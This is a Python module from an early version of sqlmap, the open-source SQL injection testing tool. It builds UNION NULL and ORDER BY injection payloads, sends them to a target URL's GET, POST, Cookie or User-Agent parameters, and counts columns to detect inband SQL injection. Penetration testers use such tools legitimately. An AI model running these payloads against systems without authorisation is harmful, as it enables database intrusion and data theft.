mirror of
https://github.com/sqlmapproject/sqlmap.git
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150 lines
4.2 KiB
Python
150 lines
4.2 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
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Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
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and Daniele Bellucci <daniele.bellucci@gmail.com>
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sqlmap is free software; you can redistribute it and/or modify it under
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the terms of the GNU General Public License as published by the Free
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Software Foundation version 2 of the License.
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sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
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WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
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FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
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details.
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You should have received a copy of the GNU General Public License along
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with sqlmap; if not, write to the Free Software Foundation, Inc., 51
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Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
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"""
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from lib.core.agent import agent
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.session import setUnion
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from lib.request.connect import Connect as Request
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def __forgeUserFriendlyValue(payload):
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value = ""
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if kb.injPlace == "GET":
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value = "%s?%s" % (conf.url, payload)
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elif kb.injPlace == "POST":
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value = "URL:\t'%s'" % conf.url
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value += "\nPOST:\t'%s'\n" % payload
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elif kb.injPlace == "Cookie":
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value = "URL:\t'%s'" % conf.url
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value += "\nCookie:\t'%s'\n" % payload
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elif kb.injPlace == "User-Agent":
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value = "URL:\t\t'%s'" % conf.url
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value += "\nUser-Agent:\t'%s'\n" % payload
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return value
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def __unionTestByNULLBruteforce(comment):
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"""
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This method tests if the target url is affected by an inband
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SQL injection vulnerability. The test is done up to 50 columns
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on the target database table
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"""
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columns = None
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value = None
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query = agent.prefixQuery(" UNION ALL SELECT NULL")
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for count in range(0, 50):
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if kb.dbms == "Oracle" and query.endswith(" FROM DUAL"):
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query = query[:-len(" FROM DUAL")]
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if count:
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query += ", NULL"
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if kb.dbms == "Oracle":
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query += " FROM DUAL"
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commentedQuery = agent.postfixQuery(query, comment)
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payload = agent.payload(newValue=commentedQuery)
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seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
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if seqMatcher >= 0.6:
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columns = count + 1
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value = __forgeUserFriendlyValue(payload)
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break
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return value, columns
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def __unionTestByOrderBy(comment):
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columns = None
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value = None
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for count in range(1, 51):
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query = agent.prefixQuery(" ORDER BY %d" % count)
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orderByQuery = agent.postfixQuery(query, comment)
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payload = agent.payload(newValue=orderByQuery)
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seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
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if seqMatcher >= 0.6:
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columns = count
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elif columns:
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value = __forgeUserFriendlyValue(prevPayload)
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break
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prevPayload = payload
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return value, columns
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def unionTest():
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"""
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This method tests if the target url is affected by an inband
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SQL injection vulnerability. The test is done up to 3*50 times
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"""
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if conf.uTech == "orderby":
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technique = "ORDER BY clause bruteforcing"
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else:
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technique = "NULL bruteforcing"
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logMsg = "testing inband sql injection on parameter "
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logMsg += "'%s' with %s technique" % (kb.injParameter, technique)
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logger.info(logMsg)
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value = ""
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columns = None
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for comment in (queries[kb.dbms].comment, ""):
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if conf.uTech == "orderby":
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value, columns = __unionTestByOrderBy(comment)
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else:
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value, columns = __unionTestByNULLBruteforce(comment)
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if columns:
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setUnion(comment, columns)
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break
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if kb.unionCount:
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logMsg = "the target url could be affected by an "
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logMsg += "inband sql injection vulnerability"
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logger.info(logMsg)
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else:
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warnMsg = "the target url is not affected by an "
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warnMsg += "inband sql injection vulnerability"
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logger.warn(warnMsg)
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return value
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